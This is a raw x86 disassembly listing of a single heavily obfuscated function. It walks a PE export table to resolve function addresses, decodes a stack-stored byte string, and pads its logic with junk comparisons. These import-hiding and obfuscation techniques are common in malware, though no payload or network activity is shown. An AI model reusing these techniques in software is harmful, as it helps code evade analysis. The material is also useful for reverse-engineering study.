mov dword [ebp - 0x7a4], 1
jmp 0x100212f6
and dword [ebp - 0x7a4], 0
cmp dword [ebp - 0x7a4], 0xddaf
jg 0x1002130e
mov dword [ebp - 0x7ac], 1
jmp 0x10021315
and dword [ebp - 0x7ac], 0
mov esi, dword [ebp - 0x88]
push 0
lea ecx, [ebp - 0xb0c]
call fcn.1000bcff
mov ecx, dword [ebp - 0x7ac]
add ecx, dword [eax]
cmp ecx, esi
jne 0x10021340
mov dword [ebp - 0x7bc], 1
jmp 0x10021347
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x7b4]
cmp eax, dword [ebp - 0x7bc]
je 0x10021361
mov dword [ebp - 0x7c4], 1
jmp 0x10021368
and dword [ebp - 0x7c4], 0
push 3
lea ecx, [ebp - 0xf40]
call fcn.1000bcff
mov ecx, dword [ebp - 0x7c4]
mov dword [eax], ecx
jmp 0x1002118b
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0xf40]
call fcn.1000bce3
jmp 0x100213c0
mov dword [ebp - 0x384], 0xffffffff
mov dword [ebp - 0xb80], 0
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0xb80], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb0c]
call fcn.1000bce3
jmp 0x10020f2e
cmp dword [ebp + 0x10], 0
jne 0x10021400
cmp dword [ebp - 0x130], 0xffffffff
je 0x10021400
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x138]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x130]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x74], ax
mov dword [ebp - 0x16c], 0x36b1
mov dword [ebp - 0x320], 0xaf7f
mov dword [ebp - 0x328], 1
mov dword [ebp - 0x7e4], 0
mov dword [ebp - 0x318], 0
jmp 0x10021441
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 1
jge 0x1002145d
mov eax, dword [ebp - 0x318]
mov dword [ebp + eax*4 - 0xb88], 0
jmp 0x10021434
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0xf5c], eax
cmp dword [ebp - 0x320], 6
je 0x1002147e
mov dword [ebp - 0x7cc], 1
jmp 0x10021485
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x7cc]
add eax, 0x76e5
cmp eax, dword [ebp - 0x16c]
jne 0x100214a4
mov dword [ebp - 0x7d4], 1
jmp 0x100214ab
and dword [ebp - 0x7d4], 0
mov eax, dword [ebp - 0x328]
cmp dword [ebp - 0x7d4], eax
je 0x100214ce
cmp dword [ebp - 0x16c], 0
je 0x100214ce
mov dword [ebp - 0x7dc], 1
jmp 0x100214d5
and dword [ebp - 0x7dc], 0
mov eax, dword [ebp - 0x7dc]
mov dword [ebp - 0x7e4], eax
mov eax, dword [ebp - 0x16c]
imul eax, dword [ebp - 0x7e4]
imul eax, dword [ebp - 0x328]
cmp eax, dword [ebp - 0x328]
jge 0x10021509
mov dword [ebp - 0x7ec], 1
jmp 0x10021510
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0x320]
cmp dword [ebp - 0x7ec], eax
je 0x1002152a
mov dword [ebp - 0x7f4], 1
jmp 0x10021531
and dword [ebp - 0x7f4], 0
mov eax, dword [ebp - 0x320]
cmp dword [ebp - 0x7f4], eax
jg 0x1002154b
mov dword [ebp - 0xb00], 1
jmp 0x10021552
and dword [ebp - 0xb00], 0
mov eax, dword [ebp - 0x320]
mov dword [ebp - 0xe5c], eax
mov eax, dword [ebp - 0x16c]
cmp eax, dword [ebp - 0x328]
jne 0x10021578
mov dword [ebp - 0x7fc], 1
jmp 0x1002157f
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0x7fc]
inc eax
cmp eax, 0xc43c
jg 0x10021599
mov dword [ebp - 0x804], 1
jmp 0x100215a0
and dword [ebp - 0x804], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x804]
mov dword [ebp + eax - 0xb88], ecx
mov byte [ebp - 0xae], 0
movzx eax, byte [ebp - 0xae]
test eax, eax
je 0x100215d1
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
movzx eax, word [ebp - 0x74]
cmp eax, 0xffff
je 0x100219d0
movzx eax, word [ebp - 0x74]
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x138]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0xb10], eax
mov eax, dword [ebp - 0xb10]
mov ecx, dword [ebp - 0x138]
add ecx, dword [eax]
mov dword [ebp - 0x9c], ecx
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x94]
jbe 0x100219c5
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x174]
mov edx, dword [ebp - 0x94]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x9c], edx
jae 0x100219c5
mov eax, dword [0x106d86d0]
and eax, 2
jne 0x10021676
mov eax, dword [0x106d86d0]
or eax, 2
mov dword [0x106d86d0], eax
mov dword [ebp - 4], 0x37
push 0x2d47
call fcn.10042591
pop ecx
mov byte [0x106d86f4], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xa8], 2
mov byte [ebp - 0xa7], 0x5d
mov byte [ebp - 0xa6], 0
mov byte [ebp - 0xa5], 8
mov byte [ebp - 0xa4], 1
mov byte [ebp - 0xa3], 8
mov byte [ebp - 0xa2], 2
mov byte [ebp - 0xa1], 0xae
mov byte [ebp - 0xa0], 0xd1
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xa8]
and eax, 0x31
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xa8]
or ecx, 0x31
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa8]
mov byte [ebp + eax - 0x140], cl
mov dword [ebp - 0x34], 2
and dword [ebp - 0x330], 0
jmp 0x10021706
mov eax, dword [ebp - 0x34]
inc eax
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 9
jae 0x100217bc
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x34], eax
jne 0x10021750
mov eax, dword [ebp - 0x34]
movzx eax, byte [ebp + eax - 0xa8]
inc eax
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x34]
movzx eax, byte [ebp + eax - 0xa8]
mov ecx, dword [ebp - 0x34]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x34], eax
jmp 0x100216fe
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x330]
movzx eax, byte [ebp + eax - 0xaa]
movsx eax, byte [ebp + eax - 0x140]
mov ecx, dword [ebp - 0x34]
movzx ecx, byte [ebp + ecx - 0xa7]
and ecx, eax
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x330]
movzx eax, byte [ebp + eax - 0xaa]
movsx eax, byte [ebp + eax - 0x140]
mov edx, dword [ebp - 0x34]
movzx edx, byte [ebp + edx - 0xa7]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x34]
movzx eax, byte [ebp + eax - 0xa8]
mov byte [ebp + eax - 0x140], dl
and dword [ebp - 0x330], 0
jmp 0x100216fe
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x140], 0
mov eax, dword [0x106d86d0]
and eax, 4
jne 0x10021808
mov eax, dword [0x106d86d0]
or eax, 4
mov dword [0x106d86d0], eax
mov dword [ebp - 4], 0x38
lea eax, [ebp - 0x140]
push eax
mov ecx, 0x106d86b0
call fcn.10022fd3
push 0x1006d0f1
call fcn.10054a36
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x338], 0
jmp 0x1002181e
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 4
jae 0x10021837
mov eax, dword [ebp - 0x338]
mov byte [ebp + eax - 0x140], 0
jmp 0x10021811
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xf4], eax
movsx eax, byte [0x106d86f4]
mov ecx, dword [ebp - 0xf4]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x10021866
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
jmp 0x10021843
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
push dword [ebp - 0xf4]
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x1044]
call fcn.10026dfd
mov dword [ebp - 4], 0x39
push 0x106d86b0
lea ecx, [ebp - 0x1044]
call fcn.1002300c
lea eax, [ebp - 0x101c]
push eax
lea ecx, [ebp - 0x1044]
call fcn.10023031
push dword [eax]
lea eax, [ebp - 0xe64]
push eax
lea ecx, [ebp - 0x1044]
call fcn.1002301d
push dword [eax]
lea ecx, [ebp - 0x10a0]
call fcn.10026e26
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x10a0]
push eax
call fcn.1000eab5
pop ecx
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0
je 0x10021971
push dword [ebp - 0xf4]
lea ecx, [ebp - 0x1068]
call fcn.10022fd3
mov byte [ebp - 4], 0x3b
lea edx, [ebp - 0xb90]
lea ecx, [ebp - 0x1068]
call fcn.1000d5f3
movzx eax, al
test eax, eax
je 0x10021941
push 0
push dword [ebp - 0xb90]
push 0
push dword [ebp - 0x38c]
call fcn.1001a29c
add esp, 0x10
mov dword [ebp - 0x9c], eax
jmp 0x10021960
push 1
push 0
lea eax, [ebp - 0x1068]
push eax
push dword [ebp - 0x38c]
call fcn.1001a29c
add esp, 0x10
mov dword [ebp - 0x9c], eax
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x1068]
call fcn.10023002
jmp 0x100219a7
cmp dword [ebp + 0x10], 0
jne 0x10021987
mov ecx, dword [ebp + 0xc]
call fcn.1000bc56
mov dword [ebp - 0x80c], eax
jmp 0x10021991
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x80c], eax
push dword [ebp - 0x80c]
push dword [ebp + 8]
call fcn.1001512e
pop ecx
pop ecx
mov dword [ebp - 0x9c], eax
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x10a0]
call fcn.10022f8c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1044]
call fcn.10023002
mov eax, dword [ebp - 0x9c]
jmp 0x10021d27
mov dword [ebp - 0x90], 1
mov dword [ebp - 0xbe0], 5
mov dword [ebp - 0xbdc], 5
mov dword [ebp - 0xbd8], 5
mov dword [ebp - 0xbd4], 5
mov dword [ebp - 0x17c], 0xfa3a92bd
mov dword [ebp - 0x29c], 0xa2b82c44
mov dword [ebp - 0x824], 0xdc705be7
mov dword [ebp - 0x82c], 0xfffffffe
mov dword [ebp - 0x834], 0xf12afbca
mov dword [ebp - 0x9a0], 1
mov dword [ebp - 0x86c], 0x1262954f
mov dword [ebp - 0x874], 0x88a746c2
mov dword [ebp - 0x9b4], 0x9e69c17
mov dword [ebp - 0x4c], 0
jmp 0x10021a6c
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jge 0x10021a82
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xb1c], 0
jmp 0x10021a65
mov dword [ebp - 0x4c], 0
jmp 0x10021a92
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jge 0x10021aa8
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x394], 0
jmp 0x10021a8b
mov dword [ebp - 0x90], 0
jmp 0x10021ac1
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jg 0x10021ae6
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp + eax*4 - 0xb1c]
mov ecx, dword [ebp - 0x90]
mov dword [ebp + ecx*4 - 0xb1c], eax
jmp 0x10021ab4
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbe0]
mov dword [ebp - 0xf64], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb1c]
mov dword [ebp - 0x814], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x814]
mov dword [ebp + eax - 0xbe0], ecx
cmp dword [ebp - 0x814], 0
jne 0x10021b32
mov dword [ebp - 0x81c], 1
jmp 0x10021b39
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0x81c]
mov dword [ebp - 0x824], eax
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0xe6c], eax
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0xfcc], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbe0]
sub eax, dword [ebp - 0x29c]
sub eax, 0x53674f9a
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x834], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0xe74], eax
mov eax, dword [ebp - 0x834]
mov dword [ebp - 0xf6c], eax
mov eax, dword [ebp - 0x17c]
add eax, 0x25c5
cmp eax, 0x4de8cc19
je 0x10021bbc
mov dword [ebp - 0x83c], 1
jmp 0x10021bc3
and dword [ebp - 0x83c], 0
mov eax, dword [ebp - 0x17c]
cmp dword [ebp - 0x83c], eax
jl 0x10021be3
cmp dword [ebp - 0x29c], 0
jne 0x10021be3
and dword [ebp - 0x844], 0
jmp 0x10021bed
mov dword [ebp - 0x844], 1
imul eax, dword [ebp - 0x844], 0xffffffff
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
jne 0x10021c20
xor eax, eax
inc eax
jne 0x10021c20
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb1c], 0
jne 0x10021c20
and dword [ebp - 0x84c], 0
jmp 0x10021c2a
mov dword [ebp - 0x84c], 1
mov eax, dword [ebp - 0x84c]
mov dword [ebp - 0x9a0], eax
xor eax, eax
inc eax
cmp eax, 0xffffffff
jl 0x10021c4a
mov dword [ebp - 0x854], 1
jmp 0x10021c51
and dword [ebp - 0x854], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb1c]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x854]
je 0x10021c7e
mov dword [ebp - 0x85c], 1
jmp 0x10021c85
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x29c]
cmp dword [ebp - 0x85c], eax
jge 0x10021c9f
mov dword [ebp - 0x864], 1
jmp 0x10021ca6
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x864]
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp - 0x86c]
mov dword [ebp - 0x874], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x394]
mov dword [ebp - 0x9a4], eax
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0x9ac], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x394]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x394], eax
mov eax, dword [ebp - 0x9a4]
cmp eax, dword [ebp - 0x9ac]
jg 0x10021d12
mov dword [ebp - 0x87c], 1
jmp 0x10021d19
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0x9b4], eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret